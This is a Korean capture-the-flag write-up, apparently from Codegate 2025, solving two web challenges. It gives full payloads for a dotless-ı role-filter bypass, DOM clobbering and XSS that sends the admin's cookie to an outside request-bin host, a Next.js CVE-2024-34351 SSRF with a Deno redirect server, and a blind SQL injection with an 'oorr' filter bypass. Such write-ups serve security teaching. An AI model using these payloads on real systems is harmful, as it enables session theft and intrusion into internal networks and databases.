Masquerade
로그인한 뒤 role을 선택할 수 있다. 하지만 role이 ADMIN이나 INSPECTOR이면 필터링에 걸린다.
const { generateToken } = require("../utils/jwt");
const { v4: uuidv4 } = require('uuid');
const users = new Map();
const role_list = ["ADMIN", "MEMBER", "INSPECTOR", "DEV", "BANNED"];
function checkRole(role) {
const regex = /^(ADMIN|INSPECTOR)$/i;
return regex.test(role);
}
const addUser = (password) => {
const uuid = uuidv4()
users.set(uuid, { password, role: "MEMBER", hasPerm: false });
return uuid;
};
const getUser = (uuid) => {
return users.get(uuid);
};
const getUsers = () => {
console.log(users);
return 1;
};
const setRole = (uuid, input) => {
const user = getUser(uuid);
if (checkRole(input)) return false;
if (!role_list.includes(input.toUpperCase())) return false;
users.set(uuid, { ...user, role: input.toUpperCase() });
const updated = getUser(uuid);
const payload = { uuid, ...updated }
delete payload.password;
const token = generateToken(payload);
return token;
};
const setPerm = (uuid, input) => {
const user = getUser(uuid);
users.set(uuid, { ...user, hasPerm: input });
return true;
}
module.exports = { addUser, getUser, setRole, setPerm, getUsers };
ADMIN role을 얻으면 해당 계정으로 post를 작성할 수 있고, INSPECTOR role을 얻으면 admin에게 report할 수 있다.
필터는 원본 문자열에 정규식을 적용한 뒤 role 목록을 확인할 때 toUpperCase()를 사용한다. 점이 없는 소문자 i인 ı를 toUpperCase()에 넣으면 I로 바뀌는 차이를 이용해 ADMIN과 INSPECTOR 권한을 얻을 수 있다.
const puppeteer = require('puppeteer');
const { generateToken } = require('./jwt')
const delay = (ms) => new Promise(resolve => setTimeout(resolve, ms));
const viewUrl = async (post_id) => {
const token = generateToken({ uuid: "codegate2025{test_flag}", role: "ADMIN", hasPerm: true })
const cookies = [{ "name": "jwt", "value": token, "domain": "localhost" }];
const browser = await puppeteer.launch({
executablePath: '/usr/bin/chromium',
args: ["--no-sandbox"]
});
let result = true;
try {
await browser.setCookie(...cookies);
const page = await browser.newPage();
await page.goto(`http://localhost:3000/post/${post_id}`, { timeout: 3000, waitUntil: "domcontentloaded" });
await delay(1000);
const button = await page.$('#delete');
await button.click();
await delay(1000);
} catch (error) {
console.error("An Error occurred:", error);
result = false;
} finally {
await browser.close();
}
return result;
};
module.exports = { viewUrl };
report 코드는 위와 같다. 전형적인 XSS 문제다.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Post</title>
<link rel="stylesheet" href="/css/style.css">
</head>
<body>
<div class="container">
<h1 id="post-title">
<%= post.title %>
</h1>
<div class="user-info">
<button id="report" class="button danger">Report</button>
<button id="delete" class="button danger">Delete</button>
</div>
<hr>
<div class="post-content">
<%- post.content %>
</div>
<a href="/post" class="button">Go to Posts</a>
</div>
<script nonce="<%= nonce %>">
<% if (isOwner || isAdmin) { %>
window.conf = window.conf || {
deleteUrl: "/post/delete/<%= post.post_id %>"
};
<% } else { %>
window.conf = window.conf || {
deleteUrl: "/error/role"
};
<% } %>
<% if (isInspector) { %>
window.conf.reportUrl = "/report/<%= post.post_id %>";
<% } else { %>
window.conf.reportUrl = "/error/role";
<% } %>
const reportButton = document.querySelector("#report");
reportButton.addEventListener("click", () => {
location.href = window.conf.reportUrl;
});
const deleteButton = document.querySelector("#delete");
deleteButton.addEventListener("click", () => {
location.href = window.conf.deleteUrl;
});
</script>
</body>
</html>
post.content가 escaping 없이 출력되어 XSS 지점이 되지만, 이 페이지에는 CSP가 있어 단순한 script 태그를 사용할 수 없다. 반면 /admin/test에는 CSP가 적용되지 않는다.
<script src="../js/purify.min.js"></script>
<script>
const post_title = document.querySelector('.post_title'),
post_content = document.querySelector('.post_content'),
error_div = document.querySelector('.error_div')
const urlSearch = new URLSearchParams(location.search),
title = urlSearch.get('title')
const content = urlSearch.get('content')
if (!title && !content) {
post_content.innerHTML = 'Usage: ?title=a&content=b'
} else {
try {
post_title.innerHTML = DOMPurify.sanitize(title)
post_content.innerHTML = DOMPurify.sanitize(content)
} catch {
post_title.innerHTML = title
post_content.innerHTML = content
}
}
</script>
/admin/test/처럼 끝에 슬래시가 있는 URL로 이동하면 상대 경로 ../js/purify.min.js는 /admin/js/purify.min.js로 해석된다. 이 파일이 존재하지 않아 DOMPurify 로딩이 실패하면 catch 구문이 입력을 그대로 innerHTML에 넣으면서 XSS가 발생한다.
따라서 post.content에서 DOM clobbering으로 window.conf.deleteUrl 값을 제어하면 admin bot에서 XSS를 발생시킬 수 있다.
문제 코드에 a 태그 필터링이 적용되어 있어 아래 payload로 flag를 받아왔다.
<a/**/id="conf" name="deleteUrl" href="/admin/test/?title=boom&content=<img src=x onerror=javascript:location.href='https://mvpuaip.request.dreamhack.games/?flag='%2Bdocument.cookie>"></a>
<a/**/id="conf"></a>
hide and seek
internal server의 port를 몰라 brute force로 열린 port를 확인하는 코드를 작성했다.
ssrf_url = f"{internal_ip}:{port}"
print(f"Trying SSRF to {ssrf_url}...")
options = Options()
options.add_argument("--no-sandbox")
options.add_argument("--disable-dev-shm-usage")
try:
driver = webdriver.Chrome(options=options)
driver.get(target_url)
time.sleep(0.1)
# 버튼 클릭 (Find me)
find_button = driver.find_element(By.XPATH, '//button[contains(text(), "Find me")]')
find_button.click()
time.sleep(0.1)
# URL 입력
input_field = driver.find_element(By.NAME, "url")
input_field.clear()
input_field.send_keys(ssrf_url)
# Submit 클릭
submit_button = driver.find_element(By.XPATH, '//button[contains(text(), "Submit")]')
submit_button.click()
time.sleep(0.1)
# alert 수신 시도
try:
alert = driver.switch_to.alert
alert_text = alert.text
alert.accept()
print(f"Port {port} - ALERT: {alert_text}")
if "Sended" in alert_text:
print(f"SUCCESS SSRF on port {port}")
except:
# alert 없을 때 페이지 일부 출력
print(f"Port {port} - No alert")
print(f"Page source (first 300 chars):\n{driver.page_source[:300]}")
except Exception as e:
print(f"Port {port} - Selenium error: {e}")
finally:
driver.quit()
그 결과 port 808에 internal server가 존재하는 것을 확인했다.
문제는 Next.js 14.1.0을 사용하는데, 해당 버전은 CVE-2024-34351의 영향 범위(>= 13.4.0, < 14.1.1)에 포함된다.
이 취약점은 self-hosted Next.js 애플리케이션에서 Server Action이 /로 시작하는 상대 경로로 redirect할 때 악용할 수 있는 SSRF다. Host 계열 header를 공격자 서버로 유도하고 Origin 검사까지 통과시키면 Next.js 서버가 공격자 서버에 요청을 보낸다. 공격자 서버가 내부 주소로 redirect하면 그 응답을 통해 내부 resource에 접근할 수 있다.
God4n의 exploit 코드를 참조했다.
// deno run --allow-net --allow-read attack.ts
Deno.serve(async (request: Request) => {
const ssrf = request.headers.get('ssrf') || "http://192.168.200.120:808/";
console.log("Request received: " + JSON.stringify({
url: request.url,
method: request.method,
ssrf: ssrf,
}));
console.log(`Redirecting to: ${ssrf}`);
if (request.method === 'HEAD') {
return new Response(null, {
headers: {
'Content-Type': 'text/x-component',
},
});
}
if (request.method === 'GET') {
return new Response(null, {
status: 302,
headers: {
Location: ssrf,
'Content-Type': 'text/x-component',
},
});
}
return new Response("Method Not Allowed", { status: 405 });
});
POST / HTTP/1.1
Host: 13.124.66.200:56712
Content-Length: 4
User-Agent: Mozilla/5.0 ...
Next-Action: 6e6feac6ad1fb92892925b4e3766928a754aec71
Accept-Language: ko-KR,ko;q=0.9
Accept: text/x-component
Content-Type: text/plain;charset=UTF-8
Origin: http://13.124.66.200:56712
Referer: http://15.165.37.31:3000/
Connection: keep-alive
[]
이후 내부망 URL에 접근할 수 있다. 여러 방법으로 로그인을 시도하던 중 SQL injection이 가능하다는 것을 알아내 admin 계정으로 로그인했다.
admin 계정으로 로그인하면 아래 message가 나온다. blind SQL injection을 진행하면 flag를 알아낼 수 있다.
{"message":"Welcome! admin, Flag is your password."}
http://192.168.200.120:808/login?username='/**/OORR/**/passwoorrd%20like%20'codegate2025%7B8...%25'/**/OORR/**/passwoorrd%20like%20'gu%25'%23--&password=guest&key=392cc52f7a5418299a5eb22065bd1e5967c25341
or을 한 번 제거하는 로직이 있어 oorr를 사용했다. oorr에서 가운데 or이 제거되면 다시 or이 남는 방식이다.